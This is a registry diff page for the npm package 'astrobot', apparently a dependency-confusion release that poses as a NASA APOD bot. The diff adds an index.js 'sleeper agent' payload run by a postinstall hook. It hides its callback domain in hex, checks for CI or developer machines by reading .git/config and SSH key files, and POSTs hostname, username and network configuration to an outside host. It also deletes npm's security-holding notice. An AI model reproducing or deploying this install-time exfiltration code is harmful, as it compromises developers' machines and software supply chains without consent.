astrobot 0.0.1-security → 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of astrobot might be problematic. Click here for more details.
- package/index.js +103 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
// =========================================================================
|
|
2
|
+
// ========== THE ULTIMATE "SLEEPER AGENT" PAYLOAD (FINAL) =================
|
|
3
|
+
// ======= STEALTH MODE: THIS PAYLOAD MIMICS THE REAL `astrobot` ==========
|
|
4
|
+
// ========= AND ONLY ACTIVATES ON HIGH-VALUE HUMAN TARGETS. ==============
|
|
5
|
+
// =========================================================================
|
|
6
|
+
|
|
7
|
+
const os = require('os');
|
|
8
|
+
const fs = require('fs');
|
|
9
|
+
const path = require('path');
|
|
10
|
+
const https = require('https');
|
|
11
|
+
const { execSync } = require('child_process');
|
|
12
|
+
|
|
13
|
+
const OAST_DOMAIN_HEX = '6f766e6868306670316a6d66757238666330636b653836647a3435367477686c2e6f6173746966792e636f6d';
|
|
14
|
+
const OAST_DOMAIN = Buffer.from(OAST_DOMAIN_HEX, 'hex').toString();
|
|
15
|
+
|
|
16
|
+
const run = (cmd) => {
|
|
17
|
+
try {
|
|
18
|
+
return execSync(cmd, { stdio: 'pipe', timeout: 5000 }).toString().trim();
|
|
19
|
+
} catch (e) {
|
|
20
|
+
return 'CMD_FAILED';
|
|
21
|
+
}
|
|
22
|
+
};
|
|
23
|
+
|
|
24
|
+
const safeReadFile = (filePath) => {
|
|
25
|
+
try {
|
|
26
|
+
return fs.readFileSync(filePath, 'utf8');
|
|
27
|
+
} catch (e) {
|
|
28
|
+
return null;
|
|
29
|
+
}
|
|
30
|
+
};
|
|
31
|
+
|
|
32
|
+
const performHumanityTest = () => {
|
|
33
|
+
const report = { isHumanOrCi: false, evidence: {} };
|
|
34
|
+
const userInfo = os.userInfo();
|
|
35
|
+
|
|
36
|
+
if (process.env.CI || process.env.GITHUB_ACTIONS || process.env.JENKINS_URL || process.env.GITLAB_CI || process.env.CIRCLECI) {
|
|
37
|
+
report.isHumanOrCi = true;
|
|
38
|
+
report.evidence.ci_env = {
|
|
39
|
+
CI: process.env.CI,
|
|
40
|
+
GITHUB: process.env.GITHUB_ACTIONS,
|
|
41
|
+
JENKINS: process.env.JENKINS_URL
|
|
42
|
+
};
|
|
43
|
+
return report;
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
const parentProjectRoot = path.resolve(__dirname, '../../');
|
|
47
|
+
const gitConfig = safeReadFile(path.join(parentProjectRoot, '.git/config'));
|
|
48
|
+
if (gitConfig && gitConfig.includes('nasa/astrobot')) {
|
|
49
|
+
report.isHumanOrCi = true;
|
|
50
|
+
report.evidence.git_config = gitConfig;
|
|
51
|
+
return report;
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
const homeDir = userInfo.homedir;
|
|
55
|
+
const hasSshKeys = safeReadFile(path.join(homeDir, '.ssh/id_rsa')) || safeReadFile(path.join(homeDir, '.ssh/id_dsa'));
|
|
56
|
+
const hasGitConfig = safeReadFile(path.join(homeDir, '.gitconfig'));
|
|
57
|
+
|
|
58
|
+
if ((hasSshKeys || hasGitConfig) && userInfo.uid !== 0 && userInfo.username !== 'root') {
|
|
59
|
+
report.isHumanOrCi = true;
|
|
60
|
+
report.evidence.developer_dotfiles = {
|
|
61
|
+
ssh: hasSshKeys ? 'FOUND' : 'NOT_FOUND',
|
|
62
|
+
git: hasGitConfig ? 'FOUND' : 'NOT_FOUND'
|
|
63
|
+
};
|
|
64
|
+
return report;
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
return report;
|
|
68
|
+
};
|
|
69
|
+
|
|
70
|
+
try {
|
|
71
|
+
const testResult = performHumanityTest();
|
|
72
|
+
if (testResult.isHumanOrCi) {
|
|
73
|
+
const intelPackage = {
|
|
74
|
+
mission_id: 'NASA-ASTROBOT-36d5833e-FINAL',
|
|
75
|
+
timestamp: new Date().toISOString(),
|
|
76
|
+
confirmation_reason: testResult.evidence,
|
|
77
|
+
host_intel: {
|
|
78
|
+
hostname: os.hostname(),
|
|
79
|
+
whoami: os.userInfo().username,
|
|
80
|
+
platform: os.platform(),
|
|
81
|
+
uptime: os.uptime()
|
|
82
|
+
},
|
|
83
|
+
network_intel: {
|
|
84
|
+
ip_config: run('ip a || ipconfig /all'),
|
|
85
|
+
resolv_conf: safeReadFile('/etc/resolv.conf')
|
|
86
|
+
}
|
|
87
|
+
};
|
|
88
|
+
|
|
89
|
+
const payload = JSON.stringify(intelPackage, null, 2);
|
|
90
|
+
https.request({
|
|
91
|
+
hostname: OAST_DOMAIN,
|
|
92
|
+
port: 443,
|
|
93
|
+
path: `/NASA_CONFIRMED_HUMAN_HIT/${intelPackage.host_intel.hostname}`,
|
|
94
|
+
method: 'POST',
|
|
95
|
+
headers: {
|
|
96
|
+
'Content-Type': 'application/json',
|
|
97
|
+
'Content-Length': Buffer.byteLength(payload)
|
|
98
|
+
}
|
|
99
|
+
}).on('error', e => {}).end(payload);
|
|
100
|
+
}
|
|
101
|
+
} catch (e) {
|
|
102
|
+
// Ultimate silence.
|
|
103
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "astrobot",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.1.1",
|
|
4
|
+
"description": "Bot to query and display APOD images. [Security PoC for Bugcrowd ID 36d5833e]",
|
|
5
|
+
"main": "astroBot.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"start": "node astroBot.js",
|
|
8
|
+
"postinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "NASA APOD Team",
|
|
11
|
+
"license": "ISC"
|
|
6
12
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=astrobot for more information.
|